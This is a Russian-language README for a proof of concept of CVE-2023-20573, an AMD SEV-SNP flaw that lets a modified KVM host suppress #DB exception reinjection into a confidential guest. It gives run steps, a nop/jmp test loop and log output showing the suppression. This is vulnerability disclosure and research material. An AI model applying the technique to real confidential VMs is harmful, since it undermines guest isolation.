
Доказательство концепции, демонстрирующее CVE-2023-20573: аппаратная уязвимость в AMD SEV-SNP, которая позволяет подавление повторной инъекции исключений в KVM, что делает возможной эксплуатацию на уровне инструкций.
Этот репозиторий содержит VMM, который загружает гостевую ОС SEV-SNP с пользовательским ядром. VMM и ядро представляют собой урезанную версию моего проекта. Для работы на хосте требуется модифицированное ядро Linux: https://github.com/Freax13/linux/tree/for-amd.
Доказательство концепции можно запустить следующим образом:
cd host
cargo run -p vmm
Этот код переключается между двумя инструкциями:
2:
nop
jmp 2b
Когда флаг TF установлен в регистре FLAGS, должны генерироваться исключения с чередованием указателя инструкций между двумя инструкциями.
Гостевой ядро определяет обработчик исключений, который просто логирует указатель инструкции, сообщенный в кадре стека прерываний. Теоретически логи должны выглядеть так:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
Однако на практике модифицированное хост-ядро подавляет реинжекцию, что приводит к следующим логам:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
Подавленные события появятся в логах хост-ядра:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
Это демонстрирует, что доставка исключения #DB была подавлена.